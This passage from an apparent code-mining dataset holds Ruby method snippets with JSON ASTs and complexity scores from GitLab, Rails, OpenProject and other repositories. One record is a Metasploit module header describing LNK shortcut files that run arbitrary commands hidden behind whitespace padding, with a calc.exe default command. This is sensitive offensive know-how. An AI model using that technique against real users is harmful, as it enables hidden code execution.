{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slash_commands/issue_show.rb","start_line":14,"raw_source":"def execute(match)\n        issue = find_by_iid(match[:iid])\n\n        if issue\n          Gitlab::SlashCommands::Presenters::IssueShow.new(issue).present\n        else\n          Gitlab::SlashCommands::Presenters::Access.new.not_found\n        end\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issue\",{\"type\":\"send\",\"children\":[null,\"find_by_iid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"iid\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SlashCommands\"]},\"Presenters\"]},\"IssueShow\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},\"present\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SlashCommands\"]},\"Presenters\"]},\"Access\"]},\"new\"]},\"not_found\"]}]}]}]}","id":"bc6421f2-5bc3-4450-afbc-f6468caadea3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fileformat/datablock_padding_lnk.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Shortcut (LNK) Padding',\n        'Description' => %q{\n          This module generates Windows LNK (shortcut) file that can execute\n          arbitrary commands. The LNK file uses environment variables and execute\n          its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace\n          character padding bytes and concatenates the actual payload.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'Nafiez' ],\n        'References' => [\n          ['ZDI', '25-148'],\n          ['URL', 'https://zeifan.my/Windows-LNK/'],\n          ['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'],\n          ['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html']\n        ],\n        'Platform' => 'win',\n        'Targets' => [ [ 'Windows', {} ] ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => [ARTIFACTS_ON_DISK]\n        },\n        'DisclosureDate' => '2025-07-19'\n      )\n    )\n\n    register_options([\n      OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\\\Windows\\\\System32\\\\calc.exe' ]),\n      OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]),\n      OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]),\n      OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ])\n    ])\n  end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Shortcut (LNK) Padding\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module generates Windows LNK (shortcut) file that can execute\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary commands. The LNK file uses environment variables and execute\\n\"]},{\"type\":\"str\",\"children\":[\"          its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace\\n\"]},{\"type\":\"str\",\"children\":[\"          character padding bytes and concatenates the actual payload.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nafiez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"25-148\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://zeifan.my/Windows-LNK/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2025-07-19\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"COMMAND\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Command to execute\"]},{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\System32\\\\calc.exe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DESCRIPTION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"LNK file description\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ICON_PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Icon path for the LNK file\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"BUFFER_SIZE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Buffer size before payload\"]},{\"type\":\"int\",\"children\":[900]}]}]}]}]}]}]}","id":"c654d1e7-3d27-4b38-a1b7-d03cab1ad7c8"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/captain/assistant_responses_controller.rb","start_line":30,"raw_source":"def destroy\n    @response.destroy\n    head :no_content\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]}","id":"a0258eca-d42f-4020-9c2b-3175a3249b91"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/has_settings.rb","start_line":118,"raw_source":"def allows_report_emails?\n    settings['notification_emails.report']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allows_report_emails?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"notification_emails.report\"]}]}]}","id":"9cee61e1-71a6-4ebe-8c23-89b60a24f96d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/clusters_controller.rb","start_line":22,"raw_source":"def repository\n    @repository ||= project.repository\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]}]}]}","id":"b64b378f-c058-4d4a-87ce-899ff5359306"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/continuous_integration.rb","start_line":134,"raw_source":"def timing\n        started_at = Time.now.to_f\n        yield\n        min, sec = (Time.now.to_f - started_at).divmod(60)\n        \"#{\"#{min}m\" if min > 0}%.2fs\" % sec\n      end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"timing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"started_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"min\"]},{\"type\":\"lvasgn\",\"children\":[\"sec\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"started_at\"]}]}]},\"divmod\",{\"type\":\"int\",\"children\":[60]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]}]},{\"type\":\"str\",\"children\":[\"m\"]}]},null]}]},{\"type\":\"str\",\"children\":[\"%.2fs\"]}]},\"%\",{\"type\":\"lvar\",\"children\":[\"sec\"]}]}]}]}","id":"b24b0d1e-bad1-47d1-b6f7-d523bbdddf16"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/group_ci_variable.rb","start_line":33,"raw_source":"def api_post_path\n        \"/groups/#{group.id}/variables\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"api_post_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/groups/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/variables\"]}]}]}","id":"9e5cd4c9-2852-4ef2-bed9-bbfcc99ae185"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb","start_line":17,"raw_source":"def find_or_create_host(opts)\n    begin\n      host = hosts(opts.clone)\n      if host.nil? || host.first.nil?\n        host = report_host(opts.clone)\n      else\n        host = host.first\n      end\n      host\n    rescue => e\n      self.log_error(e, \"Problem finding or creating host\")\n    end\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"hosts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"clone\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"first\"]},\"nil?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"report_host\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"clone\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"first\"]}]}]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_error\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"str\",\"children\":[\"Problem finding or creating host\"]}]}]},null]}]}]}","id":"0972f9cd-b588-4944-b460-e61e01f9c822"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/manage_shares_component.rb","start_line":168,"raw_source":"def type_filter_for(option)\n      filter = [\n        { principal_type: { operator: \"=\", values: [option[:value][:principal_type]] } }\n      ]\n\n      if project_scoped_entity?\n        if ActiveRecord::Type::Boolean.new.cast(option[:value][:project_member])\n          filter.push({ also_project_member: { operator: \"=\", values: [OpenProject::Database::DB_VALUE_TRUE] } })\n        else\n          filter.push({ also_project_member: { operator: \"=\", values: [OpenProject::Database::DB_VALUE_FALSE] } })\n        end\n      end\n\n      filter\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"type_filter_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"principal_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"principal_type\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_scoped_entity?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_member\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"also_project_member\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Database\"]},\"DB_VALUE_TRUE\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"also_project_member\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Database\"]},\"DB_VALUE_FALSE\"]}]}]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}","id":"4707a96b-12bd-4354-a034-8312732cd3b4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/scan/lib/scan/test_command_generator.rb","start_line":233,"raw_source":"def build_path\n      unless Scan.cache[:build_path]\n        day = Time.now.strftime(\"%F\") # e.g. 2015-08-07\n\n        Scan.cache[:build_path] = File.expand_path(\"~/Library/Developer/Xcode/Archives/#{day}/\")\n        FileUtils.mkdir_p(Scan.cache[:build_path])\n      end\n      Scan.cache[:build_path]\n    end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"build_path\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"day\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%F\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"cache\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"build_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"~/Library/Developer/Xcode/Archives/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"day\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"build_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"build_path\"]}]}]}]}","id":"7139316c-cad8-4bd5-a006-222f5380d7da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/query_recorder.rb","start_line":25,"raw_source":"def show_backtrace(values, duration)\n      values[:sql].lines.each do |line|\n        print_to_log(:SQL, line)\n      end\n      print_to_log(:DURATION, duration)\n      Gitlab::BacktraceCleaner.clean_backtrace(caller).each do |line|\n        print_to_log(:backtrace, line)\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"show_backtrace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"arg\",\"children\":[\"duration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]},\"lines\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[null,\"print_to_log\",{\"type\":\"sym\",\"children\":[\"SQL\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_to_log\",{\"type\":\"sym\",\"children\":[\"DURATION\"]},{\"type\":\"lvar\",\"children\":[\"duration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"BacktraceCleaner\"]},\"clean_backtrace\",{\"type\":\"send\",\"children\":[null,\"caller\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[null,\"print_to_log\",{\"type\":\"sym\",\"children\":[\"backtrace\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]}","id":"6968cf48-9cb4-4c88-9088-41e961bc115c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":278,"raw_source":"def call(t, method_name, args, inner_options, url_strategy)\n            controller_options = t.url_options\n            options = controller_options.merge @options\n            hash = handle_positional_args(controller_options,\n                                          inner_options || {},\n                                          args,\n                                          options,\n                                          @segment_keys)\n\n            t._routes.url_for(hash, route_name, url_strategy, method_name)\n          end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"inner_options\"]},{\"type\":\"arg\",\"children\":[\"url_strategy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"controller_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"url_options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller_options\"]},\"merge\",{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[null,\"handle_positional_args\",{\"type\":\"lvar\",\"children\":[\"controller_options\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inner_options\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"ivar\",\"children\":[\"@segment_keys\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"_routes\"]},\"url_for\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"route_name\"]},{\"type\":\"lvar\",\"children\":[\"url_strategy\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]}]}","id":"3c8b4b17-87c2-4a91-a31c-f6ce77f90571"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/cost_type.rb","start_line":99,"raw_source":"def save_rates\n    rates.each(&:save!)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save_rates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rates\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"save!\"]}]}]}]}","id":"b7f1bd17-247e-4b65-b7f7-55b24e70ea89"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/opt.rb","start_line":47,"raw_source":"def self.RHOST(default=nil, required=true, desc=\"The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html\")\n      Msf::OptRhosts.new('RHOSTS', [ required, desc, default ], aliases: [ 'RHOST' ])\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"RHOST\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"default\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"required\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"desc\",{\"type\":\"str\",\"children\":[\"The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptRhosts\"]},\"new\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]},{\"type\":\"lvar\",\"children\":[\"default\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aliases\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]}]}]}]}","id":"c774e29f-112d-45da-b62d-a1dd993974dd"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/concerns/emoji_reactions/grouped_queries.rb","start_line":108,"raw_source":"def journal_ids_for(reactable)\n        reactable.journals.internal_visible.select(:id).pluck(:id)\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"journal_ids_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reactable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactable\"]},\"journals\"]},\"internal_visible\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"03f7fcb7-e335-47c7-b61e-4432a1cfb2ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/message_pack_message_serializer.rb","start_line":67,"raw_source":"def parse_properties(headers, level)\n          Properties.new.tap do |properties|\n            headers&.each do |key, value|\n              properties[key] = value.is_a?(Hash) ? hash_to_message(value, level + 1) : value\n            end\n          end\n        end","complexity_score":12.23,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_properties\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"headers\"]},{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Properties\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"properties\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[null,\"hash_to_message\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\